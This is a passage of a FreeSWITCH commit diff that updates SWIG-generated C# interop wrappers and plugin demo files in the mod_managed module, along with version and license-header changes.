+SWIGEXPORT int SWIGSTDCALL CSharp_switch_event_create_subclass_detailed(char * jarg1, char * jarg2, int jarg3, void * jarg4, int jarg5, char * jarg6) {
   int jresult ;
-  switch_event_t **arg1 = (switch_event_t **) 0 ;
-  switch_event_types_t arg2 ;
-  char *arg3 = (char *) 0 ;
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int arg3 ;
+  switch_event_t **arg4 = (switch_event_t **) 0 ;
+  switch_event_types_t arg5 ;
+  char *arg6 = (char *) 0 ;
   switch_status_t result;
   
-  arg1 = (switch_event_t **)jarg1; 
-  arg2 = (switch_event_types_t)jarg2; 
-  arg3 = (char *)jarg3; 
-  result = (switch_status_t)switch_event_create_subclass(arg1,arg2,(char const *)arg3);
+  arg1 = (char *)jarg1; 
+  arg2 = (char *)jarg2; 
+  arg3 = (int)jarg3; 
+  arg4 = (switch_event_t **)jarg4; 
+  arg5 = (switch_event_types_t)jarg5; 
+  arg6 = (char *)jarg6; 
+  result = (switch_status_t)switch_event_create_subclass_detailed((char const *)arg1,(char const *)arg2,arg3,arg4,arg5,(char const *)arg6);
   jresult = result; 
   return jresult;
 }
@@ -19375,6 +20549,20 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_event_set_subclass_name(void * jarg1, char * jarg2) {
+  int jresult ;
+  switch_event_t *arg1 = (switch_event_t *) 0 ;
+  char *arg2 = (char *) 0 ;
+  switch_status_t result;
+  
+  arg1 = (switch_event_t *)jarg1; 
+  arg2 = (char *)jarg2; 
+  result = (switch_status_t)switch_event_set_subclass_name(arg1,(char const *)arg2);
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_event_add_header_string(void * jarg1, int jarg2, char * jarg3, char * jarg4) {
   int jresult ;
   switch_event_t *arg1 = (switch_event_t *) 0 ;
@@ -19449,6 +20637,20 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_event_prep_for_delivery_detailed(char * jarg1, char * jarg2, int jarg3, void * jarg4) {
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int arg3 ;
+  switch_event_t *arg4 = (switch_event_t *) 0 ;
+  
+  arg1 = (char *)jarg1; 
+  arg2 = (char *)jarg2; 
+  arg3 = (int)jarg3; 
+  arg4 = (switch_event_t *)jarg4; 
+  switch_event_prep_for_delivery_detailed((char const *)arg1,(char const *)arg2,arg3,arg4);
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_event_bind(char * jarg1, int jarg2, char * jarg3, void * jarg4, void * jarg5) {
   int jresult ;
   char *arg1 = (char *) 0 ;
@@ -19649,6 +20851,20 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_event_create_plain(void * jarg1, int jarg2) {
+  int jresult ;
+  switch_event_t **arg1 = (switch_event_t **) 0 ;
+  switch_event_types_t arg2 ;
+  switch_status_t result;
+  
+  arg1 = (switch_event_t **)jarg1; 
+  arg2 = (switch_event_types_t)jarg2; 
+  result = (switch_status_t)switch_event_create_plain(arg1,arg2);
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_event_deliver(void * jarg1) {
   switch_event_t **arg1 = (switch_event_t **) 0 ;
   
@@ -19673,6 +20889,17 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_SWITCH_RESAMPLE_QUALITY_get() {
+  int jresult ;
+  int result;
+  
+  result = (int) 2;
+  
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_audio_resampler_t_resampler_set(void * jarg1, void * jarg2) {
   switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
   void *arg2 = (void *) 0 ;
@@ -19788,87 +21015,12 @@
 }
 
 
-SWIGEXPORT void SWIGSTDCALL CSharp_switch_audio_resampler_t_from_set(void * jarg1, void * jarg2) {
-  switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
-  float *arg2 = (float *) 0 ;
-  
-  arg1 = (switch_audio_resampler_t *)jarg1; 
-  arg2 = (float *)jarg2; 
-  if (arg1) (arg1)->from = arg2;
-  
-}
-
-
-SWIGEXPORT void * SWIGSTDCALL CSharp_switch_audio_resampler_t_from_get(void * jarg1) {
-  void * jresult ;
-  switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
-  float *result = 0 ;
-  
-  arg1 = (switch_audio_resampler_t *)jarg1; 
-  result = (float *) ((arg1)->from);
-  jresult = (void *)result; 
-  return jresult;
-}
-
-
-SWIGEXPORT void SWIGSTDCALL CSharp_switch_audio_resampler_t_from_len_set(void * jarg1, int jarg2) {
-  switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
-  int arg2 ;
-  
-  arg1 = (switch_audio_resampler_t *)jarg1; 
-  arg2 = (int)jarg2; 
-  if (arg1) (arg1)->from_len = arg2;
-  
-}
-
-
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_audio_resampler_t_from_len_get(void * jarg1) {
-  int jresult ;
-  switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
-  int result;
-  
-  arg1 = (switch_audio_resampler_t *)jarg1; 
-  result = (int) ((arg1)->from_len);
-  jresult = result; 
-  return jresult;
-}
-
-
-SWIGEXPORT void SWIGSTDCALL CSharp_switch_audio_resampler_t_from_size_set(void * jarg1, void * jarg2) {
-  switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
-  switch_size_t arg2 ;
-  switch_size_t *argp2 ;
-  
-  arg1 = (switch_audio_resampler_t *)jarg1; 
-  argp2 = (switch_size_t *)jarg2; 
-  if (!argp2) {
-    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
-    return ;
-  }
-  arg2 = *argp2; 
-  if (arg1) (arg1)->from_size = arg2;
-  
-}
-
-
-SWIGEXPORT void * SWIGSTDCALL CSharp_switch_audio_resampler_t_from_size_get(void * jarg1) {
-  void * jresult ;
-  switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
-  switch_size_t result;
-  
-  arg1 = (switch_audio_resampler_t *)jarg1; 
-  result =  ((arg1)->from_size);
-  jresult = new switch_size_t((switch_size_t &)result); 
-  return jresult;
-}
-
-
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_audio_resampler_t_to_set(void * jarg1, void * jarg2) {
   switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
-  float *arg2 = (float *) 0 ;
+  int16_t *arg2 = (int16_t *) 0 ;
   
   arg1 = (switch_audio_resampler_t *)jarg1; 
-  arg2 = (float *)jarg2; 
+  arg2 = (int16_t *)jarg2; 
   if (arg1) (arg1)->to = arg2;
   
 }
@@ -19877,10 +21029,10 @@
 SWIGEXPORT void * SWIGSTDCALL CSharp_switch_audio_resampler_t_to_get(void * jarg1) {
   void * jresult ;
   switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
-  float *result = 0 ;
+  int16_t *result = 0 ;
   
   arg1 = (switch_audio_resampler_t *)jarg1; 
-  result = (float *) ((arg1)->to);
+  result = (int16_t *) ((arg1)->to);
   jresult = (void *)result; 
   return jresult;
 }
@@ -19951,29 +21103,29 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_resample_create(void * jarg1, int jarg2, void * jarg3, int jarg4, unsigned long jarg5, void * jarg6) {
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_resample_perform_create(void * jarg1, unsigned long jarg2, unsigned long jarg3, unsigned long jarg4, int jarg5, unsigned long jarg6, char * jarg7, char * jarg8, int jarg9) {
   int jresult ;
   switch_audio_resampler_t **arg1 = (switch_audio_resampler_t **) 0 ;
-  int arg2 ;
-  switch_size_t arg3 ;
-  int arg4 ;
-  uint32_t arg5 ;
-  switch_memory_pool_t *arg6 = (switch_memory_pool_t *) 0 ;
+  uint32_t arg2 ;
+  uint32_t arg3 ;
+  uint32_t arg4 ;
+  int arg5 ;
+  uint32_t arg6 ;
+  char *arg7 = (char *) 0 ;
+  char *arg8 = (char *) 0 ;
+  int arg9 ;
   switch_status_t result;
-  switch_size_t *argp3 ;
   
   arg1 = (switch_audio_resampler_t **)jarg1; 
-  arg2 = (int)jarg2; 
-  argp3 = (switch_size_t *)jarg3; 
-  if (!argp3) {
-    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
-    return 0;
-  }
-  arg3 = *argp3; 
-  arg4 = (int)jarg4; 
-  arg5 = (uint32_t)jarg5; 
-  arg6 = (switch_memory_pool_t *)jarg6; 
-  result = (switch_status_t)switch_resample_create(arg1,arg2,arg3,arg4,arg5,arg6);
+  arg2 = (uint32_t)jarg2; 
+  arg3 = (uint32_t)jarg3; 
+  arg4 = (uint32_t)jarg4; 
+  arg5 = (int)jarg5; 
+  arg6 = (uint32_t)jarg6; 
+  arg7 = (char *)jarg7; 
+  arg8 = (char *)jarg8; 
+  arg9 = (int)jarg9; 
+  result = (switch_status_t)switch_resample_perform_create(arg1,arg2,arg3,arg4,arg5,arg6,(char const *)arg7,(char const *)arg8,arg9);
   jresult = result; 
   return jresult;
 }
@@ -19987,23 +21139,17 @@
 }
 
 
-SWIGEXPORT unsigned long SWIGSTDCALL CSharp_switch_resample_process(void * jarg1, void * jarg2, int jarg3, void * jarg4, unsigned long jarg5, int jarg6) {
+SWIGEXPORT unsigned long SWIGSTDCALL CSharp_switch_resample_process(void * jarg1, void * jarg2, unsigned long jarg3) {
   unsigned long jresult ;
   switch_audio_resampler_t *arg1 = (switch_audio_resampler_t *) 0 ;
-  float *arg2 = (float *) 0 ;
-  int arg3 ;
-  float *arg4 = (float *) 0 ;
-  uint32_t arg5 ;
-  int arg6 ;
+  int16_t *arg2 = (int16_t *) 0 ;
+  uint32_t arg3 ;
   uint32_t result;
   
   arg1 = (switch_audio_resampler_t *)jarg1; 
-  arg2 = (float *)jarg2; 
-  arg3 = (int)jarg3; 
-  arg4 = (float *)jarg4; 
-  arg5 = (uint32_t)jarg5; 
-  arg6 = (int)jarg6; 
-  result = (uint32_t)switch_resample_process(arg1,arg2,arg3,arg4,arg5,arg6);
+  arg2 = (int16_t *)jarg2; 
+  arg3 = (uint32_t)jarg3; 
+  result = (uint32_t)switch_resample_process(arg1,arg2,arg3);
   jresult = (unsigned long)result; 
   return jresult;
 }
@@ -20131,13 +21277,19 @@
 }
 
 
-SWIGEXPORT void SWIGSTDCALL CSharp_switch_mux_channels(void * jarg1, unsigned long jarg2, unsigned long jarg3) {
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_mux_channels(void * jarg1, void * jarg2, unsigned long jarg3) {
   int16_t *arg1 = (int16_t *) 0 ;
-  uint32_t arg2 ;
+  switch_size_t arg2 ;
   uint32_t arg3 ;
+  switch_size_t *argp2 ;
   
   arg1 = (int16_t *)jarg1; 
-  arg2 = (uint32_t)jarg2; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
   arg3 = (uint32_t)jarg3; 
   switch_mux_channels(arg1,arg2,arg3);
 }
@@ -21443,7 +22595,7 @@
   arg2 = (char *)jarg2; 
   arg3 = (char *)jarg3; 
   arg4 = (switch_media_flag_t)jarg4; 
-  result = (uint32_t)switch_ivr_schedule_broadcast(arg1,arg2,arg3,arg4);
+  result = (uint32_t)switch_ivr_schedule_broadcast(arg1,(char const *)arg2,(char const *)arg3,arg4);
   jresult = (unsigned long)result; 
   return jresult;
 }
@@ -21523,10 +22675,10 @@
 
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_ivr_digit_stream_destroy(void * jarg1) {
   int jresult ;
-  switch_ivr_digit_stream_t *arg1 = (switch_ivr_digit_stream_t *) 0 ;
+  switch_ivr_digit_stream_t **arg1 = (switch_ivr_digit_stream_t **) 0 ;
   switch_status_t result;
   
-  arg1 = (switch_ivr_digit_stream_t *)jarg1; 
+  arg1 = (switch_ivr_digit_stream_t **)jarg1; 
   result = (switch_status_t)switch_ivr_digit_stream_destroy(arg1);
   jresult = result; 
   return jresult;
@@ -21605,7 +22757,7 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_ivr_menu_init(void * jarg1, void * jarg2, char * jarg3, char * jarg4, char * jarg5, char * jarg6, char * jarg7, char * jarg8, char * jarg9, int jarg10, int jarg11, int jarg12, int jarg13, int jarg14, int jarg15, void * jarg16) {
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_ivr_menu_init(void * jarg1, void * jarg2, char * jarg3, char * jarg4, char * jarg5, char * jarg6, char * jarg7, char * jarg8, char * jarg9, char * jarg10, char * jarg11, int jarg12, int jarg13, int jarg14, int jarg15, int jarg16, int jarg17, void * jarg18) {
   int jresult ;
   switch_ivr_menu_t **arg1 = (switch_ivr_menu_t **) 0 ;
   switch_ivr_menu_t *arg2 = (switch_ivr_menu_t *) 0 ;
@@ -21616,13 +22768,15 @@
   char *arg7 = (char *) 0 ;
   char *arg8 = (char *) 0 ;
   char *arg9 = (char *) 0 ;
-  int arg10 ;
-  int arg11 ;
+  char *arg10 = (char *) 0 ;
+  char *arg11 = (char *) 0 ;
   int arg12 ;
   int arg13 ;
   int arg14 ;
   int arg15 ;
-  switch_memory_pool_t *arg16 = (switch_memory_pool_t *) 0 ;
+  int arg16 ;
+  int arg17 ;
+  switch_memory_pool_t *arg18 = (switch_memory_pool_t *) 0 ;
   switch_status_t result;
   
   arg1 = (switch_ivr_menu_t **)jarg1; 
@@ -21634,14 +22788,16 @@
   arg7 = (char *)jarg7; 
   arg8 = (char *)jarg8; 
   arg9 = (char *)jarg9; 
-  arg10 = (int)jarg10; 
-  arg11 = (int)jarg11; 
+  arg10 = (char *)jarg10; 
+  arg11 = (char *)jarg11; 
   arg12 = (int)jarg12; 
   arg13 = (int)jarg13; 
   arg14 = (int)jarg14; 
   arg15 = (int)jarg15; 
-  arg16 = (switch_memory_pool_t *)jarg16; 
-  result = (switch_status_t)switch_ivr_menu_init(arg1,arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,(char const *)arg9,arg10,arg11,arg12,arg13,arg14,arg15,arg16);
+  arg16 = (int)jarg16; 
+  arg17 = (int)jarg17; 
+  arg18 = (switch_memory_pool_t *)jarg18; 
+  result = (switch_status_t)switch_ivr_menu_init(arg1,arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,(char const *)arg9,(char const *)arg10,(char const *)arg11,arg12,arg13,arg14,arg15,arg16,arg17,arg18);
   jresult = result; 
   return jresult;
 }
@@ -22005,6 +23161,30 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_ivr_sound_test(void * jarg1) {
+  int jresult ;
+  switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
+  switch_status_t result;
+  
+  arg1 = (switch_core_session_t *)jarg1; 
+  result = (switch_status_t)switch_ivr_sound_test(arg1);
+  jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_process_import(void * jarg1, void * jarg2, char * jarg3) {
+  switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
+  switch_channel_t *arg2 = (switch_channel_t *) 0 ;
+  char *arg3 = (char *) 0 ;
+  
+  arg1 = (switch_core_session_t *)jarg1; 
+  arg2 = (switch_channel_t *)jarg2; 
+  arg3 = (char *)jarg3; 
+  switch_process_import(arg1,arg2,(char const *)arg3);
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_SWITCH_RTP_MAX_BUF_LEN_get() {
   int jresult ;
   int result;
@@ -22734,11 +23914,13 @@
 }
 
 
-SWIGEXPORT void SWIGSTDCALL CSharp_rtp_flush_read_buffer(void * jarg1) {
+SWIGEXPORT void SWIGSTDCALL CSharp_rtp_flush_read_buffer(void * jarg1, int jarg2) {
   switch_rtp_t *arg1 = (switch_rtp_t *) 0 ;
+  switch_rtp_flush_t arg2 ;
   
   arg1 = (switch_rtp_t *)jarg1; 
-  rtp_flush_read_buffer(arg1);
+  arg2 = (switch_rtp_flush_t)jarg2; 
+  rtp_flush_read_buffer(arg1,arg2);
 }
 
 
@@ -22894,6 +24076,20 @@
 }
 
 
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_get_stats(void * jarg1, void * jarg2) {
+  void * jresult ;
+  switch_rtp_t *arg1 = (switch_rtp_t *) 0 ;
+  switch_memory_pool_t *arg2 = (switch_memory_pool_t *) 0 ;
+  switch_rtp_stats_t *result = 0 ;
+  
+  arg1 = (switch_rtp_t *)jarg1; 
+  arg2 = (switch_memory_pool_t *)jarg2; 
+  result = (switch_rtp_stats_t *)switch_rtp_get_stats(arg1,arg2);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_log_node_t_data_set(void * jarg1, char * jarg2) {
   switch_log_node_t *arg1 = (switch_log_node_t *) 0 ;
   char *arg2 = (char *) 0 ;
@@ -23548,6 +24744,20 @@
 }
 
 
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_xml_parse_str_dynamic(char * jarg1, int jarg2) {
+  void * jresult ;
+  char *arg1 = (char *) 0 ;
+  switch_bool_t arg2 ;
+  switch_xml_t result;
+  
+  arg1 = (char *)jarg1; 
+  arg2 = (switch_bool_t)jarg2; 
+  result = (switch_xml_t)switch_xml_parse_str_dynamic(arg1,arg2);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void * SWIGSTDCALL CSharp_switch_xml_parse_str(char * jarg1, void * jarg2) {
   void * jresult ;
   char *arg1 = (char *) 0 ;
@@ -23940,7 +25150,7 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_xml_locate(char * jarg1, char * jarg2, char * jarg3, char * jarg4, void * jarg5, void * jarg6, void * jarg7) {
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_xml_locate(char * jarg1, char * jarg2, char * jarg3, char * jarg4, void * jarg5, void * jarg6, void * jarg7, int jarg8) {
   int jresult ;
   char *arg1 = (char *) 0 ;
   char *arg2 = (char *) 0 ;
@@ -23949,6 +25159,7 @@
   switch_xml_t *arg5 = (switch_xml_t *) 0 ;
   switch_xml_t *arg6 = (switch_xml_t *) 0 ;
   switch_event_t *arg7 = (switch_event_t *) 0 ;
+  switch_bool_t arg8 ;
   switch_status_t result;
   
   arg1 = (char *)jarg1; 
@@ -23958,7 +25169,8 @@
   arg5 = (switch_xml_t *)jarg5; 
   arg6 = (switch_xml_t *)jarg6; 
   arg7 = (switch_event_t *)jarg7; 
-  result = (switch_status_t)switch_xml_locate((char const *)arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,arg5,arg6,arg7);
+  arg8 = (switch_bool_t)jarg8; 
+  result = (switch_status_t)switch_xml_locate((char const *)arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,arg5,arg6,arg7,arg8);
   jresult = result; 
   return jresult;
 }
@@ -26093,7 +27305,7 @@
 }
 
 
-SWIGEXPORT void * SWIGSTDCALL CSharp_new_IvrMenu(void * jarg1, char * jarg2, char * jarg3, char * jarg4, char * jarg5, char * jarg6, char * jarg7, char * jarg8, int jarg9, int jarg10, int jarg11, int jarg12, int jarg13, int jarg14) {
+SWIGEXPORT void * SWIGSTDCALL CSharp_new_IvrMenu(void * jarg1, char * jarg2, char * jarg3, char * jarg4, char * jarg5, char * jarg6, char * jarg7, char * jarg8, char * jarg9, char * jarg10, int jarg11, int jarg12, int jarg13, int jarg14, int jarg15, int jarg16) {
   void * jresult ;
   IVRMenu *arg1 = (IVRMenu *) 0 ;
   char *arg2 = (char *) 0 ;
@@ -26103,12 +27315,14 @@
   char *arg6 = (char *) 0 ;
   char *arg7 = (char *) 0 ;
   char *arg8 = (char *) 0 ;
-  int arg9 ;
-  int arg10 ;
+  char *arg9 = (char *) 0 ;
+  char *arg10 = (char *) 0 ;
   int arg11 ;
   int arg12 ;
   int arg13 ;
   int arg14 ;
+  int arg15 ;
+  int arg16 ;
   IVRMenu *result = 0 ;
   
   arg1 = (IVRMenu *)jarg1; 
@@ -26119,13 +27333,15 @@
   arg6 = (char *)jarg6; 
   arg7 = (char *)jarg7; 
   arg8 = (char *)jarg8; 
-  arg9 = (int)jarg9; 
-  arg10 = (int)jarg10; 
+  arg9 = (char *)jarg9; 
+  arg10 = (char *)jarg10; 
   arg11 = (int)jarg11; 
   arg12 = (int)jarg12; 
   arg13 = (int)jarg13; 
   arg14 = (int)jarg14; 
-  result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,arg9,arg10,arg11,arg12,arg13,arg14);
+  arg15 = (int)jarg15; 
+  arg16 = (int)jarg16; 
+  result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,(char const *)arg9,(char const *)arg10,arg11,arg12,arg13,arg14,arg15,arg16);
   jresult = (void *)result; 
   return jresult;
 }
@@ -26215,6 +27431,18 @@
 }
 
 
+SWIGEXPORT char * SWIGSTDCALL CSharp_Api_getTime(void * jarg1) {
+  char * jresult ;
+  API *arg1 = (API *) 0 ;
+  char *result = 0 ;
+  
+  arg1 = (API *)jarg1; 
+  result = (char *)(arg1)->getTime();
+  jresult = SWIG_csharp_string_callback((const char *)result); 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_input_callback_state_t_function_set(void * jarg1, void * jarg2) {
   input_callback_state_t *arg1 = (input_callback_state_t *) 0 ;
   void *arg2 = (void *) 0 ;
@@ -27569,7 +28797,7 @@
   arg1 = (CoreSession *)jarg1; 
   arg2 = (char *)jarg2; 
   arg3 = (char *)jarg3; 
-  (arg1)->execute(arg2,arg3);
+  (arg1)->execute((char const *)arg2,(char const *)arg3);
 }
 
 

Deleted: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/ApiFunction.cs

Deleted: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/AppFunction.cs

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/AssemblyInfo.cs (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/AssemblyInfo.cs	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/AssemblyInfo.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,5 +32,5 @@
 // You can specify all the values or you can default the Build and Revision Numbers 
 // by using the '*' as shown below:
 // [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.0.2.0")]
-[assembly: AssemblyFileVersion("1.0.2.0")]
+[assembly: AssemblyVersion("1.0.4.0")]
+[assembly: AssemblyFileVersion("1.0.4.0")]

Deleted: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Demo.cs

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Demo.csx (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/Demo.csx) (0 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Demo.csx	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Demo.csx	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,110 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ * Copyright (C) 2008, Michael Giagnocavo <mgg@giagnocavo.net>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ *
+ * The Initial Developer of the Original Code is
+ * Michael Giagnocavo <mgg@giagnocavo.net>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Michael Giagnocavo <mgg@giagnocavo.net>
+ * 
+ * Demo.cs -- mod_mono demo classes
+ *
+ */
+
+// How to test the demo (in the mod/managed directory):
+// -- Compile to dll for "normal" loading
+// -- Compile to exe for script EXE loading
+// -- Copy to managed directory for dynamic compilation
+
+using System;
+using FreeSWITCH;
+using FreeSWITCH.Native;
+
+public class AppDemo : IAppPlugin {
+
+    ManagedSession Session;
+    public void Run(AppContext context) {
+        Session = context.Session;
+        Session.HangupFunction = hangupHook;
+        Session.Answer();
+        Session.DtmfReceivedFunction = (d, t) => {
+            Log.WriteLine(LogLevel.Notice, "Received {0} for {1}.", d, t);
+            return "";
+        };
+        Log.WriteLine(LogLevel.Notice, "Inside AppDemo.Run (args '{0}'); HookState is {1}. Now will collect digits.", context.Arguments, Session.HookState);
+        Session.CollectDigits(5000); // Hanging up here will cause an abort and the next line won't be written
+        Log.WriteLine(LogLevel.Notice, "AppDemo is finishing its run and will now hang up.");
+        Session.Hangup("USER_BUSY");
+    }
+
+    void hangupHook() {
+        Log.WriteLine(LogLevel.Notice, "AppDemo hanging up, UUID: {0}.", this.Session.Uuid);
+    }
+
+}
+
+public class ApiDemo : IApiPlugin {
+
+    public void Execute(ApiContext context) {
+        context.Stream.Write(string.Format("ApiDemo executed with args '{0}' and event type {1}.",
+            context.Arguments, context.Event == null ? "<none>" : context.Event.GetEventType()));
+    }
+
+    public void ExecuteBackground(ApiBackgroundContext context) {
+        Log.WriteLine(LogLevel.Notice, "ApiDemo on a background thread #({0}), with args '{1}'.",
+            System.Threading.Thread.CurrentThread.ManagedThreadId,
+            context.Arguments);
+    }
+
+}
+
+public class LoadDemo : ILoadNotificationPlugin {
+    public bool Load() {
+        Log.WriteLine(LogLevel.Notice, "LoadDemo running.");
+        return true;
+    }
+}
+
+public class ScriptDemo {
+
+    public static void Main() {
+        switch (FreeSWITCH.Script.ContextType) {
+            case ScriptContextType.Api: {
+                    var ctx = FreeSWITCH.Script.GetApiContext();
+                    ctx.Stream.Write("Script executing as API with args: " + ctx.Arguments);
+                    break;
+                }
+            case ScriptContextType.ApiBackground: {
+                    var ctx = FreeSWITCH.Script.GetApiBackgroundContext();
+                    Log.WriteLine(LogLevel.Notice, "Executing as APIBackground with args: " + ctx.Arguments);
+                    break;
+                }
+            case ScriptContextType.App: {
+                    var ctx = FreeSWITCH.Script.GetAppContext();
+                    Log.WriteLine(LogLevel.Notice, "Executing as App with args: " + ctx.Arguments);
+                    break;
+                }
+        }
+
+    }
+
+}
+

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Extensions.cs (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Extensions.cs	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/Extensions.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
- * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_cli
- * Copyright (C) 2008, Michael Giagnocavo <mgg@packetrino.com>
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
+ * Copyright (C) 2008, Michael Giagnocavo <mgg@giagnocavo.net>
  *
  * Version: MPL 1.1
  *
@@ -14,16 +14,16 @@
  * for the specific language governing rights and limitations under the
  * License.
  *
- * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_cli
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application - mod_managed
  *
  * The Initial Developer of the Original Code is
- * Michael Giagnocavo <mgg@packetrino.com>
+ * Michael Giagnocavo <mgg@giagnocavo.net>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Michael Giagnocavo <mgg@packetrino.com>
+ * Michael Giagnocavo <mgg@giagnocavo.net>
  * 
  * Extensions.cs -- Helper extensions
  *

Modified: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/FreeSWITCH.Managed.csproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_managed/managed/FreeSWITCH.Managed.csproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_managed/managed/FreeSWITCH.Managed.csproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -52,9 +52,10 @@
     <Compile Include="Loader.cs" />
     <Compile Include="Extensions.cs" />
     <Compile Include="Log.cs" />
-    <Compile Include="ApiFunction.cs" />
-    <Compile Include="AppFunction.cs" />
-    <Compile Include="Demo.cs" />
+    <None Include="Demo.csx" />
+    <Compile Include="PluginInterfaces.cs" />
+    <Compile Include="PluginManager.cs" />
+    <Compile Include="ScriptPluginManager.cs" />
     <Compile Include="swig.cs" />
   </ItemGroup>
   <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />

Copied: freeswitch/branches/seven/src/mod/languages/mod_managed/managed/FreeSWITCH.Managed.dll (from rev 14471, freeswitch/trunk/src/mod/languages/mod_managed/managed/FreeSWITCH.Managed.dll)


(Binary files differ)

